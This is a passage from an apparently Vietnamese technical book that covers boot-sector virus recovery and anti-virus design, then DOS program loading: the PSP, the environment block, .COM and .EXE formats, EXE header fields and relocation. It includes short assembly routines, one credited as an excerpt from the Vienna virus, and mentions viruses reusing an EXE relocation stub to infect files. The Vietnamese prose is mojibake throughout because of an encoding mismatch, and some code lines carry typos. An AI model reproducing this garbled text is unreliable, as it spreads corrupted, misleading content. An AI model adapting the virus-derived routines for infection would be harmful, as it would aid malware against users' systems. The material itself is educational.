cÇn bµn c�i: v× virus sö dông c¸c tham sè cña BPB ®Ó ®Þnh vÞ c¸c phÇn cña hÖ thèng vµ do ®ã, 
c¸ch ®Þnh vÞ cã thÓ bÞ sai l¹c. C¸ch gi¶i quyÕt h÷u hiÖu nhÊt lµ: nªn lµm nh÷ng ®iÒu mµ virus 
®� lµm nh−ng ng−îc l¹i: ®¸nh dÊu cluster cßn dïng ®−îc h¬n lµ dïng nh÷ng tham sè chÝnh 
x¸c mµ DOS cung cÊp. Qua chøc n¨ng 32h (Disk info Block) cña ng¾t 21h. 
3/ Chèng virus: VÊn ®Ò nµy ®−îc nªu lªn mét c¸ch ån µo, råi sau ®ã nhanh chãng ch×m vµo 
quªn l�ng. ViÖc chèng virus dï ®−îc ¸p dông víi ®èi t−îng lµ B - virus dïng kÜ thuËt kiÓm tra 
tÝnh tån t¹i b»ng Key value, nh−ng c¸c virus vÒ sau kh«ng cßn dïng kÜ thuËt nµy n÷a nªn c¸c 
phÇn mÒm chèng virus sau nµy còng kh«ng cßn dïng n÷a. Mét nh−îc ®iÓm thø hai còng cÇn 
®Ò cËp tíi lµ chØ chèng ®−îc virus ®� ph¸t hiÖn ra råi. 
Mét c¸ch kh¸c ®Ó cã thÓ söa ch÷a ®−îc h¬n lµ chèng virus, ®ã lµ viÖc kh«i phôc l¹i Boot 
record vµ Partition table tõ file ®� back up tr−íc ®ã. 

4/ Kh«i phôc ®Üa: §©y lµ b−íc cuèi cïng cña qu¸ tr×nh phong chèng vµ ch÷a trÞ virus vµ còng 
lµ kÕt qu¶ cuèi cïng cña lo¹i B - virus ®Þnh thêi. ViÖc ph¸ ho¹i cña lo¹i nµy th−êng phong phó 
®a d¹ng. §Üa cã thÓ bÞ format toµn bé, bÞ ®æi tªn, bÞ xo¸ FAT, Root, bÞ m� hãa toµn bé ®Üa.... 
   Th«ng th−êng, khi gÆp tr−êng hîp nµy, ng−êi sö dông ho¶ng lo¹n dÉn ®Õn nhiÒu hµnh ®éng 
®èi phã sai lÇm. V× thùc chÊt, ®Üa hiÕm khi bÞ format vµ nh÷ng viÖc mÊt m¸t root, mét phÇn 
FAT cã thÓ kh«i phôc b»ng mét sè phÇn mÒm chuyªn vÒ ®Üa nh− N§, Fixdisk...., viÖc m� hãa 
d÷ liÖu cã thÓ kh«i phôc b»ng c¸c phÇn mÒm viÕt riªng cho tõng lo¹i virus. 
 5/ C¸c yªu cÇu cho mét phÇn mÒm chèng B - virus: Do viÖc phãng ®¹i qu¸ lè cña giíi 
b¸o chÝ còng nh− sù cuèn hót cña virus qua kh¶ n¨ng l©y lan ®� lµm cho sè ng−êi quan t©m 
®Õn virus t¨ng lªn ®¸ng kÓ. Tuy nhiªn, sè ng−êi viÕt virus th× Ýt, song sè phÇn mÒm diÖt virus 
l¹i nhiÒu h¬n. Cã mét ®iÒu: c¸c phÇn mÒm diÖt virus hoÆc chØ ®¬n gi¶n lµ diÖt mét sè lo¹i nhá 
virus, hoÆc kh«ng tháa m�n c¸c yªu cÇu cña ng−êi dïng. Ch−¬ng tr×nh chèng B - virus cã thÓ 
cã nh÷ng chøc n¨ng sau: 
  + Chøc n¨ng kiÓm tra vµ diÖt virus (nÕu cã). §©y lµ ch−¬ng tr×nh chÝnh cña bé 
ch−¬ng tr×nh. Trong ch−¬ng tr×nh nµy cã thÓ bao hµm kh¶ n¨ng t¹o key value ®Ó chèng nh÷ng 
B - virus cã dïng ph−¬ng ph¸p nµy. 
  + Chøc n¨ng b¶o vÖ ®Üa: cho phÐp back up Boot sector vµ Partition table thµnh mét 
file còng nh− kh¶ n¨ng restore ng−îc l¹i tõ file. 
  + Cã thÓ cã kh¶ n¨ng th−êng tró ®Ó kiÓm tra vµ diÖt virus trªn bÊt k× mét ®Üa mÒm 
nµo ®−îc cho vµo. 
C¸c phÇn mÒm hiÖn nay: rÊt phong phó vµ ®a d¹ng nh−ng vÉn cßn mét sè nh−îc ®iÓm sau: 
  + B - virus chØ kÝch ho¹t mét lÇn khi boot m¸y, do ®ã viÖc th−êng tró ®Ó kiÓm tra ®Üa 
®«i khi kh«ng cÇn thiÕt, nÕu cã nªn cã c¸ch kiÓm tra kh¸c ®Ó kh«ng lµm gi¶m tèc ®é truy xuÊt. 
  + Do kÜ thuËt dß t×m ch−a hîp lÝ (chän ®o¹n m� kh«ng hîp lÝ) nªn dÉn ®Õn nh÷ng 
th«ng tin sai lÖch. HiÖn nay, hÇu hÕt ®o¹n m� kiÓm tra virus trong vïng nhí ®Òu tiÕn hµnh quÐt 
virus tõ vïng nhí thÊp lªn cao, do ®ã kh«ng hîp lÝ vµ dÔ dÉn ®Õn nh÷ng th«ng b¸o ®Çy ‘bi 
kÞch’ cho ng−êi sö dông. 
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  + Ch−a cã phÇn dù b¸o virus. ViÖc quan träng trong c«ng t¸c chèng virus kh«ng ph¶i 
ch÷a trÞ mµ lµ phßng chèng - ph¸t hiÖn sù xuÊt hiÖn mét lo¹i virus míi. ViÖc dù b¸o kh«ng 
®−îc ph¸t triÓn v× thùc chÊt kh«ng cã c¸ch ph¸t hiÖn nµo lµ hiÖu qu¶ vµ chÝnh x¸c. 
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Qu¶n lý file vµ vïNG NHí D¦íi DOS 
 
 
 
 

I- Qu¶n lý vµ tæ chøc thi hµnh file d−íi DOS      

   1/ Ph©n lo¹i file: 

a. Giíi thiÖu chung:  Nh− ®� biÕt, file lµ mét c¸ch tæ chøc d÷ liÖu trªn ®Üa ®Ó DOS qu¶n lý. Néi 
dung cña file cã thÓ lµ th«ng tin vÒ mét ®èi t−îng nµo ®ã, hoÆc lµ tËp c¸c m� lÖnh phôc vô mét 
môc ®Ých nµo ®ã. Nh÷ng th«ng tin thuéc lo¹i thø hai nµy th−êng ®−îc gäi lµ nh÷ng file thi 
hµnh ®−îc (.EXEcutable file). File thi hµnh: Néi dung cña nã lµ mét tËp m� lÖnh m¸y 
(machine code) nh»m thi hµnh mét nhiªm vô nµo ®ã. Khi cÇn thi hµnh, tªn ch−¬ng tr×nh sÏ 
®−îc ®¸nh ngay ë dÊu ®îi lÖnh cña DOS vµ kÕt thóc b»ng phÝm ENTER hoÆc dïng chøc n¨ng 
4B cña DOS. 
          Theo quan ®iÓm nµy, nh÷ng file nguån (source file) cña PASCAL, C (kÓ c¶ file d¹ng 
.OBJ) còng kh«ng ph¶i lµ nh÷ng file thi hµnh ®−îc. 
           DOS kh«ng nªu ra mét ®Æc ®iÓm nhËn d¹ng nµo gi÷a hai lo¹i file nµy. Do ®ã, theo qui 
−íc, nh÷ng file thi hµnh ®−îc sÏ cã phÇn më réng lÇn l−ît lµ .COM, .EXE vµ .BAT. Trong 3 
lo¹i file nµy, cã file .BAT lµ ®Æc biÖt, nã thùc chÊt lµ tËp hîp c¸c lÖnh cña tõng lÖnh mét. Do 
®ã, thùc chÊt chØ cã 2 file thi hµnh ®−îc cÇn kh¶o s¸t lµ .COM vµ .EXE. 
  Khi 3 file cïng tªn cã phÇn më réng lµ .COM, .EXE vµ .BAT, thø tù −u tiªn thùc hiÖn 
®−îc dµnh cho .COM, sau ®ã lµ .EXE vµ sau cïng lµ .BAT. 
a. Tæ chøc thi hµnh:  C¸ch tæ chøc thi hµnh mét file ®−îc tiÕn hµnh chung c¸c b−íc sau: 

     Do ®Æc tÝnh ®Þnh vÞ ®Þa chØ thµnh segment vµ offset cña c¸c bé xö lý 8088, 8086, 80x86, 
mÆt kh¸c do ®Æc tÝnh ®Þnh vÞ t−¬ng ®èi cña c¸c lÖnh JMP, CALL nªn ch−¬ng tr×nh cã thÓ ®−îc 
t¶i lªn bÊt cø ph©n ®o¹n nµo cña vïng nhí. C¸ch tæ chøc:  
+ Tr−íc khi mét  file .COM hay .EXE ®−îc t¶i vµo, DOS sÏ chän mét segment. §Þa chØ nµy 
th−êng lµ ®Þa chØ thÊp nhÊt cßn dïng ®−îc (nÕu cã thÓ ®−îc), segment nµy ®−îc gäi lµ PSP 
(Program Segment Prefix), lµ c¬ së ®Ó t¶i ch−¬ng tr×nh vµo. 
+ DOS sÏ t¹o ra b¶n sao m«i tr−êng cña DOS cho ch−¬ng tr×nh ®−îc n¹p, tÊt nhiªn ta cã thÓ 
thay ®æi m«i tr−êng nµy nÕu muèn. 
+ Riªng DOS  3.3 cßn ®Æt path dïng ®Ó n¹p ch−¬ng tr×nh vµo cuèi m«i tr−êng nµy. 
      + Sau ®ã DOS sÏ tiÕp tôc ®iÒn vµo ®o¹n PSP nh÷ng néi dung cÇn thiÕt nh− : 
- Tæng sè vïng nhí cßn l¹i. 
- §Þa chØ segment cña m«i tr−êng. 
- 2 FCB. 
- Tham sè dßng lÖnh vµ DTA. 
- Néi dung hiÖn thêi cña ng¾t 22h, 23h, 24h. 
- T¹o DTA ngÇm ®Þnh t¹i PSP:080h. 
- §Æt AL=0FFh nÕu ®Üa chØ ®Þnh kh«ng hîp lÖ. 
- §Æt AH = 0FFh nÕu ®Üa thø hai kh«ng hîp lÖ. 
+ §äc 1Ch byte ®Çu tiªn cña file vµo ®Ó x¸c ®Þnh xem file thuéc lo¹i .COM, .EXE chø kh«ng 
c¨n cø phÇn më réng (§iÒu nµy dÉn ®Õn mét file .COM ®æi tªn thµnh .EXE còng vÉn  thi hµnh 
®−îc). DÊu hiÖu ®Ó nhËn diÖn file .EXE lµ 2 byte ®Çu tiªn. NÕu file thuéc lo¹i .EXE, 2 byte 
®Çu tiªn sÏ lµ “MZ “hay “ZM “. Tïy theo lo¹i file, tæ chøc thi hµnh file sÏ ®−îc thùc hiÖn 
t−¬ng øng. 
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b. PSP (Prefix Segment Program):  Tr−íc khi tiÕn hµnh t¶i file vµo, DOS ®� tæ chøc mét cÊu 
tróc gäi lµ PSP ®Ó chøa nh÷ng th«ng tin liªn quan ®Õn vïng nhí, truyÒn tham sè cho file v.v.. 
Khi ch−¬ng tr×nh b¾t ®Çu nhËn quyÒn ®iÒu khiÓn, lóc nµy DS:0 vµ ES:0 trá ®Õn PSP. Th«ng tin 
vÒ cÊu tróc nµy còng ®−îc DOS c«ng bè, nh−ng chØ  vµi phÇn chÝnh, c¸c phÇn kh¸c th× ®¬n 
gi¶n lµ “dµnh riªng cho DOS “. §©y còng lµ ®iÒu th¸ch thøc cho c¸c ®éc gi¶ ham thÝch hÖ 
thèng. CÊu tróc nµy tuy vËy cã thÓ liÖt kª chi tiÕt nh− sau - gåm 256 byte 
     Offset   Size Néi dung 
  +0  2 Int 20h  Ng¾t chÊm døt ch−¬ng tr×nh 
 +2    2 MemTop  Segment vïng nhí kÕ cßn dïng ®−îc 
 +4  1 (dµnh riªng) 
 +5  5   CALL off seg LÖnh FAR CALL ®Õn chøc n¨ng Dispatcher cña DOS 
 +6  4 avai   Byte cßn dïng ®−îc trong Code Segment (chØ cho file .COM) 
 +0Ah 4 off seg  §Þa chØ ng¾t 22h 
 +0Eh 4 off seg  §Þa chØ ng¾t 23h 
+12h 4 off seg  §Þa chØ ng¾t 24h 
+16h 2    NhËn diÖn PSP nµy cña DOS hay kh«ng (nÕu gi¸ trÞ nµy   
     b»ng PSP cña COMMAND) 
+18h 14 reserved 
+2Ch 2 EnvSeg  §Þa chØ segment m«i tr−êng cña DOS 
+2Eh 2Eh    Dµnh riªng 
+5Ch 10h Formated parm area 1  FCB ®Þnh s½n 
+6Ch 14h Formated parm area 2  FCB ®Þnh s½n 2 
+80h 1 Len   Sè kÝ tù tham sè dßng lÖnh ë 81h còng lµ DTA ngÇm ®Þnh 
+81h 7Fh    D�y kÝ tù tham sè dßng lÖnh 
+100h 
      Th«ng th−êng Ýt ai quan t©m ®Õn c¸c th«ng tin chøa ë cÊu tróc nµy mµ chØ cã DOS sö 
dông. Tuy nhiªn cã thÓ rót ra ë ®©y nhiÒu ®iÒu bæ Ých. 
+ LÊy tham sè trªn dßng lÖnh: d�y tham sè truyÒn cho ch−¬ng tr×nh b¾t ®Çu ë offset 080h, sè 
byte trªn dßng lÖnh ®Æt ë offset 80h, th«ng th−êng ng−êi ta ®æi nã sang d¹ng ASCIIZ råi copy 
sang buffer cña ch−¬ng tr×nh. §o¹n m� sau t¹o ASCIIZ vµ copy command line sang buffer 
riªng cña ch−¬ng tr×nh. 
 xor  bx, bx 
 mov  bl, byte ptr [080]   ;bx chøa sè byte tham sè 
 mov  byte ptr [080+bx], 0   ; t¹o ASSIIZ 
; copy sang 
  mov  cx, bx 
 or  cx, cx 
jz  exit 
mov   si, 081 
les  DI, my_buffer 
cld 
rep  movsb 
exit : 
 
+ LÊy m«i tr−êng vµ gi¶i phãng m«i tr−êng: Th«ng th−êng, khi mét ch−¬ng tr×nh tiÕn hµnh 
th−êng tró, c¸ch tiÕt kiÖm vïng nhí lµ h�y gi¶i phãng nh÷ng vïng nhí kh«ng cÇn thiÕt, trong 
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®ã cã m«i tr−êng. §o¹n ch−¬ng tr×nh sau dïng chøc n¨ng 49h cña ng¾t 21h ®Ó gi¶i phãng m«i 
tr−êng 
mov   ax, word ptr [02Ch] 
mov   es, ax 
mov  ah, 049 
int   021h 
 

c. M«i tr−êng (environment):  øng víi mçi ch−¬ng tr×nh tr−íc khi ®−îc t¶i vµo vïng nhí, ®Òu 
®−îc DOS g¸n cho mét vïng nhí gäi lµ m«i tr−êng (Env). Env lµ tËp hîp c¸c chuçi ASCIIZ 
chøa c¸c th«ng tin ë møc ®é hÖ thèng vµ ®−îc chuyÓn cho ch−¬ng tr×nh. KÝch th−íc vïng m«i 
tr−êng tèi ®a cã thÓ ®¹t tíi lµ 32 kb. 
Cã thÓ xem  1 minh häa cho m«i tr−êng sau ®©y: 
       tªn1= gi¸ trÞ 1  <0>    db ‘COMSPEC=C:\COMMAND.COM’.0 
          tªn2= gi¸ trÞ 2  <0>    db ‘PROMT= $P$G’, 0 
 . . . . . . 
tªnn= gi¸ trÞ n  <0>  db ‘PATH=d:\;c:\;c:\DOS’, 0 
 <0>          db 0 
 §èi víi DOS 3.xx cßn thªm mét khèi cho biÕt path cña file ®−îc t¶i lªn. 
 C¸c øng dông cña  Env rÊt ®a d¹ng: 
- LÊy th«ng sè cña path:  Khi tªn file ®−îc ®−a vµo dÊu ®îi lÖnh, it ai quan t©m file nµy n»m ë 
th− môc nµo, vµ do ®ã, còng kh«ng ai chÞu t×m hiÓu DOS lµm c¸ch nµo ®Ó t×m ®Õn file. Thùc 
tÕ, DOS dïng ®Õn path trong Env ®Ó t×m lÇn l−ît. Do ®ã viÖc t×m th«ng sè cña PATH còng lµ 
vÊn ®Ò cÇn quan t©m. §o¹n ch−¬ng tr×nh sau sÏ lÊy th«ng sè cña lÖnh Path= : 
mov  AX, word ptr [2Ch] 
mov  ES, AX  
xor  DI, DI     ;ES:DI trá ®Õn Env 
cont1: 
lea  SI, pathString    ;DS:SI trá ®Õn dßng tham sè PATH 
lodsb       ;LÊy kÝ tù ‘P’ 
mov   CX, 08000     ;KÝch th−íc tèi ®a 32 kb 
rep  scasb     ;Dß trong Env ch÷ ‘PATH=’ 
mov  CX, 4      ;Dß 4 kÝ tù cßn l¹i 
cont2: 
lodsb       ;§äc 1 kÝ tù 
scasb       ;Dß 
   jnz  cont1     ;NÕu kh«ng - dß l¹i 
   ;dß thÊy th× ES:DI trá ®Õn ký tù ®Çu tiªn sau PATH 
. . . .  
pathString db ‘PATH=’ 
   (TrÝch ch−¬ng tr×nh Vienna virus) 
 
T−¬ng tù, ta vÉn cã  thÓ t×m tªn file sau lÖnh ‘COMSPEC=’ 
  - LÊy path vµ tªn file hiÖn t¹i. §iÒu nµy cã thÓ ph¸t hiÖn file ®� bÞ ®æi tªn hay kh«ng, hay më 
file l¹i ®Ó kiÓm tra.   
2/ Giíi thiÖu file .COM: Sau khi nhËn diÖn lµ file d¹ng .COM, file ®−îc t¶i vµo ngay sau PSP, 
kh«ng cÇn ®Þnh vÞ l¹i. Do ®ã, kÝch th−íc cña nã bÞ giíi h¹n trong mét ph©n ®o¹n 64 Kb. TÊt c¶ 

Comment [N1]:  
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c¸c thanh ghi DE, ES, CS, SS ®Òu trá ®Õn PSP, stack còng ®−îc t¹o trong ph©n ®o¹n nµy, c¸c 
b−íc tiÕp theo cña viÖc tæ chøc thi hµnh cña DOS cho file .COM lµ : 
+ CS, DS, ES vµ SS cïng trá tíi PSP. 
+ SP ®−îc ®Þnh vÞ ®Ó trá ®Õn cuèi segment PSP (th«ng th−êng gi¸ trÞ cña SP lµ 0FFFFh, nh−ng 
nã sÏ thÊp h¬n nÕu bé nhí kh«ng cßn ®ñ tíi 64 kb. Gi¸ trÞ word ë offset 6 cña PSP còng chØ ra 
segment ch−¬ng tr×nh cßn bao nhiªu byte dïng ®−îc. 
+ TÊt c¶ c¸c vïng nhí ®Òu ®−îc ph©n phèi cho ch−¬ng tr×nh. Do ®ã, nÕu ch−¬ng tr×nh l¹i 
muèn thi hµnh mét ch−¬ng tr×nh kh¸c th× ph¶i gi¶i phãng bít sè vïng nhí kh«ng cÇn ®Õn b»ng 
chøc n¨ng 49 cña ng¾t 21h. 
+ Mét gi¸ trÞ 0 ®−îc ®Èy vµo stack, ®iÒu nµy b¶o ®¶m sù kÕt thóc ch¾c ch¾n cña ch−¬ng tr×nh 
nÕu cuèi ch−¬ng tr×nh lµ mét lÖnh RET thay cho c¸ch gäi ng¾t 20h - ®iÒu mµ TCV hay quªn v× 
ch−¬ng tr×nh chÝnh còng ®−îc thiÕt kÕ thµnh c¸c thñ tôc nh− c¸c thñ tôc kh¸c. Khi gÆp lÖnh 
RET, quyÒn ®iÒu khiÓn trë vÒ PSP:0, ë ®©y nã gÆp m� lÖnh thi hµnh ng¾t 20h:  kÕt thóc ch−¬ng 
tr×nh. 
      + Ch−¬ng tr×nh ®−îc n¹p ngay sau PSP nªn ®Çu vµo ch−¬ng tr×nh (CS:IP) lu«n lu«n lµ 
PSP:100h. 
Do kÝch th−íc h¹n chÕ cña .COM, mét file d¹ng míi ®� ra ®êi:  .EXE. 

3/ Giíi thiÖu file .EXE: Kh¸c víi file .COM, file .EXE kh«ng cßn bÞ giíi h¹n trong 1 ph©n 
®o¹n mµ më réng ra trong nhiÒu ph©n ®o¹n. ChÝnh v× lÝ do nµy, khi ®−îc n¹p vµo vïng nhí, nã 
ph¶i ®−îc ®Þnh vÞ l¹i (Relocate) b»ng c¸ch sö dông c¸c tham sè trong mét cÊu tróc ®Çu file 
®−îc gäi lµ .EXE header. Còng chÝnh v× lÝ do ph¶i ®Þnh vÞ l¹i, ch−¬ng tr×nh ®−îc t¶i lªn vµ trao 
quyÒn chËm h¬n mét file .COM cïng cì. CÊu tróc cña .EXE header ®−îc kh¶o s¸t sau ®©y. 
a. .EXE header:  Lµ mét cÊu tróc ®Çu file .EXE chøa c¸c th«ng tin h÷u Ých ®Ó t¸i ®Þnh vÞ c¸c 
ph©n ®o¹n khi DOS n¹p file vµo vïng nhí. CÊu tróc cña .EXE header nµy nh− sau: 
    Offset       Size  Néi dung 
0   2  4D5Ah  KÝ hiÖu nh©n file .EXE 
2   2  PartPag  ChiÒu dµi cña phÇn trang cuèi 
4   2  PageCnt  Sè trang (512 byte mét trang) kÓ c¶ Header 
6   2  ReloCnt  Sè item trong b¶ng t¸i ®Þnh vÞ 
8   2  HdrSize  KÝch th−íc cña Header theo ®o¹n 
Ah   2  MinMem Vïng nhí tèi thiÓu cÇn thiÕt bªn trªn ch−¬ng tr×nh   
       theo ®o¹n. 
Ch   2   MaxMem Vïng nhí tèi ®a cÇn thiÕt bªn trªn ch−¬ng tr×nh    
      theo ®o¹n 
Eh   2  ReloSS  Seg, off cña ph©n ®o¹n ng¨n xÕp (®Ó ®Æt SS) 
10h   2  .EXESP  Gi¸ trÞ cho thanh ghi SP (con trá ng¨n xÕp)  khi b¾t ®Çu 
12h   2  ChkSum  Checksum cña tËp tin (tæng sè ©m cña tÊt c¶ c¸c word  
         tõ trong tÖp tin).  
14h   2  .EXEIP  Gi¸ trÞ cho thanh ghi IP (con trá lÖnh) khi b¾t ®Çu 
16h   2  ReloCS  Seg vµ off cña ph©n ®o¹n m� lÖnh (®Î ®Æt CS)  
18h         2           TablOff          Offset tËp tin cña môc ph©n bè l¹i ®Çu tiªn, th−êng lµ 1Ch) 
1Ah   2   Overlay  Sè hiÖu overlay 
1Ch       KÝch th−íc phÇn ®� ®Þnh d¹ng cÊu tróc ®Çu .EXE 
b. Thi hµnh ch−¬ng tr×nh:  V× file .EXE cã thÓ ®−îc t¶i vµo ë nhiÒu ph©n ®o¹n kh¸c nhau, do 
®ã, tÊt c¶ nh÷ng lÖnh Call far, con trá xa, vµ nh÷ng kiÓu tham chiÕu d¹ng: 
                         MOV  AX, data-seg    
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v..v.. ph¶i ®−îc hiÖu chØnh ®Ó lµm viÖc t−¬ng øng víi vïng nhí mµ chóng ®−îc t¶i vµo. C¸c 
b−íc mµ DOS sÏ tiÕn hµnh sau khi ®� ph©n biÖt file lµ .EXE: 
+ T¹o PSP qua chøc n¨ng 26h cña DOS, ®äc 1Ch byte tõ file .EXE vµo vµ x¸c ®Þnh modul ph¶i 
t¶i vµo. Modul lµ phÇn ch−¬ng tr×nh thøc tÕ, kh«ng tÝnh phÇn .EXE header. Trong thùc tÕ, phÇn 
nµy chÝnh lµ kÝch th−íc file trõ ®i kÝch th−íc cña .EXE header.  
C¸ch tÝnh nµy dùa vµo c«ng thøc: 
KÝch th−íc modul t¶i = (sè trang*512) - (kÝch th−íc header) - phÇn trang 
+ §Ó t¶i modul nµy, cÇn x¸c ®Þnh ®IÓm b¾t ®Çu t¶i cña modul. §IÓm nµy ®¬n gi¶n lµ ngay sau 
.EXE header (kÝch th−íc header * 16). 
+ X¸c ®Þnh mét ®Þa chØ ph©n ®o¹n cho modul t¶i, START_SEG, lu«n lu«n lµ PSP + 10h 
+ §äc modul nµy vµo START_SEG:  0000h 
+ §Æt con trá file ®Õn ®IÓm vµo cña b¶ng t¸i ®Þnh vÞ. øng víi mçi môc cña b¶ng nµy, tiÕn hµnh 
b−íc ®Þnh vÞ l¹i nh− sau : 
- §äc item nµy vµo 2 tõ 16 bit (i_OFF vµ i_SEG). 
 - T×m ®Þa chØ vµ t¸i ®Þnh vÞ tham chiÕu ®Õn. Ph©n ®o¹n RELO_SEG nµy sÏ ®−îc tÝnh  
RELO_SEG = START_SEG + i_SEG. 
 - §äc gi¸ trÞ t¹i ®Þa chØ ®−îc tham chiÕu ®Õn nµy b»ng ®Þa chØ ®−îc t¹o bëi 
RELO_SEG:i_OFF. 
 - TiÕn hµnh ®Þnh vÞ l¹i b»ng c¸ch céng gi¸ trÞ võa cã ®−îc víi START_SEG. 
 - Tr¶ l¹i gi¸ trÞ míi nµy vµo ®Þa chØ cò (RELO_SEG:i_OFF). 
+ Sau khi t¸i ®Þnh vÞ xong, DOS sÏ ph©n phèi vïng nhí cho ch−¬ng tr×nh t−¬ng øng víi gi¸ trÞ 
vïng nhí tèi ®a vµ tèi thiÓu trong .EXE header. 
+ Khëi t¹o gi¸ trÞ c¸c thanh ghi : 
  - C¸c thanh DS vµ ES ®−îc trá tíi PSP. 
  - AX chØ ra sù hîp lÖ cña ®Üa trong dßng lÖnh. 
  - Khëi t¹o stack b»ng c¸ch ®Þnh vÞ l¹i SS vµ SP theo gi¸ trÞ trong RELO_SS vµ 
.EXE_SP nh− sau: 
  SS = START_SEG + RELO_SS 
  SP = .EXE_SP 
  - §Çu vµo ch−¬ng tr×nh ®−îc khëi t¹o b»ng c¸ch ®Þnh vÞ l¹i CS vµ IP nh− sau: 
  CS = START_SEG + RELO_CS 
  IP = .EXE_IP 
+ Trao quyÒn ®iÒu khiÓn l¹i cho file. 
Thùc tÕ, .EXE header chØ ®−îc DOS sö dông ®Õn trong khi t¶i vµ thi hµnh mét file, trong suèt 
qu¸ tr×nh thi hµnh file, kh«ng bao giê DOS ph¶i tham chiÕu ®Õn cÊu  tróc nµy. Tuy nhiªn vÉn 
cã nhiÒu ®iÒu lÝ thó vÒ cÊu tróc nµy. 

c. øng dông cña .EXE header:  Ta cã thÓ tÝnh kÝch th−íc thËt cña file (trong hÇu hÕt c¸c tr−êng 
hîp) b»ng c¸ch lÊy ra vµ tÝnh th«ng tin tõ .EXE header. (Chó ý:  Mét sè file .EXE cã kÝch 
th−íc qu¸ lín ®� dïng kÜ thuËt gi¶ overlay:  Module t¶i cã kÝch th−íc nhá h¬n nhiÒu so víi 
kÝch th−íc thËt cña file, nã cã nhiÖm vô t¶i c¸c phÇn overlay ngay trong ch−¬ng tr×nh khi cã 
yªu cÇu). Cã thÓ cã nhiÒu c¸ch kh¸c ®Ó tÝnh kÝch th−íc file. Tuy nhiªn, ®Ó thùc hiÖn mét sè t¸c 
vô kh¸c, ph−¬ng ph¸p nay vÉn ®−îc nhiÒu Hacker sö dông. KÝch th−íc thËt sù cña file ®−îc 
tÝnh b»ng c¸ch tÝnh sè byte tõ c¸c trang mµ file chiÕm víi mçi trang 512 byte. Tuy nhiªn v× cã 
thÓ trang cuèi cïng file kh«ng dïng hÕt, nªn ph¶i dù trï tr−êng hîp nµy. 
 §o¹n ch−¬ng tr×nh sau tÝnh kÝch th−íc file dùa vµo .EXE header ®� ®−îc ®äc vµo buffer 
cã tªn My_Buffer råi g¾n nã vµo biÕn. V× kÝch th−íc file cã thÓ lín h¬n 64 Kb nªn gi¸ trÞ kÝch 
th−íc file ®−îc biÓu diÔn b»ng 2 word. 
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mov  AX, My_buffer[4]   ;Sè trang 
cmp  My_buffer[2], 0   ;Trang cuèi cïng cã dïng hÕt kh«ng 
je  cont_1     ;NÕu dïng hÕt tÝnh lu«n 
dec  AX, 1     ;Ng−îc l¹i ph¶i bít ®i 1 
cont _1:        ;Céng cho phÇn byte d− 
mul  BytePerPage    ;§æi sang byte b»ng c¸ch nh©n 512 
add  AX, My_buffer[2]   ;Céng thªm phÇn d− trang cuèi 
adc  DX, 0     ;KÝch th−íc cã thÓ lµ 32 bit DX:AX = kÝch th−íc file 
mov  filesize_lo, AX  
mov  filesize_hi, DX  
....... 
 BytePerPage dw 200h 
 My_Buffer db 1c dup (?) 
 
ChuyÓn file d¹ng .EXE sang .COM:  Mét file .EXE cã thÓ ®−îc biÕn ®æi sang d¹ng .COM nÕu 
kÝch th−íc cña nã kh«ng v−ît qu¸ mét ph©n ®o¹n 64 Kb. C¸ch chuyÓn ®æi nµy cÇn ph¶i ®−îc 
ph©n biÖt râ rµng víi c¸ch ®æi tõ .EXE sang .COM b»ng lÖnh ngo¹i tró .EXE2BIN cña DOS. 
Thùc chÊt, viÖc chuyÓn ®æi theo DOS chØ ®−îc thùc hiÖn khi ®Çu vµo cña ch−¬ng tr×nh lµ 
0100h vµ ch−¬ng tr×nh ph¶i ®−îc tæ chøc trong mét ph©n ®o¹n. Ng−îc l¹i c¸ch ®æi nµy chØ 
mang tÝnh “tr¸ h×nh “vµ ®−îc ¸p dông víi toµn bé nh÷ng file .EXE d−íi 64 Kb. Néi dung cña 
ph−¬ng ph¸p nµy lµ “g¾n “thªm vµo sau file mét ®o¹n m� cho phÐp thay mÆt cho DOS ®Ó tiÕn 
hµnh c¸c b−íc ®Þnh vÞ. Ký hiÖu “MZ “truyÒn thèng ®Ó cho DOS nhËn diÖn file .EXE nay bÞ 
xãa ®i thay vµo ®ã lµ mét lÖnh nh¶y ®Ó chuyÓn quyÒn ®iÒu khiÓn cho ®o¹n m� nµy (vÒ sau mét 
sè virus còng “noi “theo c¸ch nµy ®Ó l©y trªn file .EXE cã kÝch th−íc d−íi 64 Kb). 
Sù chuyÓn ®æi kh«ng lµm t¨ng tèc ®é tæ chøc hay thi hµnh file v× thùc chÊt nã còng ph¶i tiÕn 
hµnh ®Þnh vÞ l¹i nh− DOS sÏ ph¶i lµm tr−íc ®©y. Tuy nhiªn, ®iÒu nµy kh«ng quan träng, v× chñ 
®Ých cña nã lµ lµm cho ®éc gi¶ lµm quen víi c¸ch ®Þnh vÞ cña DOS. 
§o¹n ch−¬ng tr×nh sau minh häa ®o¹n m� thi hµnh chøc n¨ng t¸i ®Þnh vÞ thay DOS. 
;lÖnh nh¶y ®Çu ch−¬ng tr×nh sÏ chuyÓn quyÒn ®iÒu khiÓn l¹i cho nh�n begin sau 
 jmp begin 
   .......       ;B¶ng tham sè cña .EXE header cò 
; B¶ng tham sè cÇn thiÕt trong qu¸ tr×nh t¸i ®Þnh vÞ  
 IP_value dw 0 
 CS_value dw 0 
 SP_value dw 0 
 SS_value dw 0 
Begin: 
  call   next      ;LÊy ofofffset ®Ó liªn hÖ víi b¶ng tham sè ë trªn, 
®o¹n 
     Next:         ;m� nµy cã kÝch th−íc  
pop  BX       ;4 byte nªn BX liªn hÖ víi 
push  AX       ;tham sè cuèi b¶ng lµ 5 
mov  AX, ES 
add  AX, 010     ;AX = PSP = 010 = start_SEG 
 ; ®Þnh vÞ c¸c thanh ghi cho Stack vµ Code 
mov  CX, ptr word [010Eh]   ;CX=ReloSS 
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add  CX, AX      ;T¸i ®Þnh vÞ SS 
mov  ptr word [bx-5], AX   ;CÊt gi¸ trÞ SS 
mov  CX, ptr word [116h]   ;CX = ReloCS 
add  CX, AX     ;T¸i ®Þnh vÞ CS 
mov  ptr word [bx-9], CX   ;CÊt gi¸ trÞ CS 
mov  CX, ptr word [110h]   ;CX = SP 
mov  ptr word [bx-7], CX    ;CÊt gi¸ trÞ SP 
mov  CX, ptr word [114h]   ;CX = IP 
mov  ptr word [bx-0Bh], CX  ;CÊt gi¸ trÞ IP 
;§Þnh vÞ c¸c item vµ t¸i ®Þnh vÞ 
 mov  DI, ptr word [118h]   ;DI = offset cña item table 
 mov  DX, ptr word [108h]   ;KÝch th−íc Header (®o¹n) 
mov  CL, 4     ;Nh©n 16 ®Ó ®æi sang byte 
 shl  DX, CL  
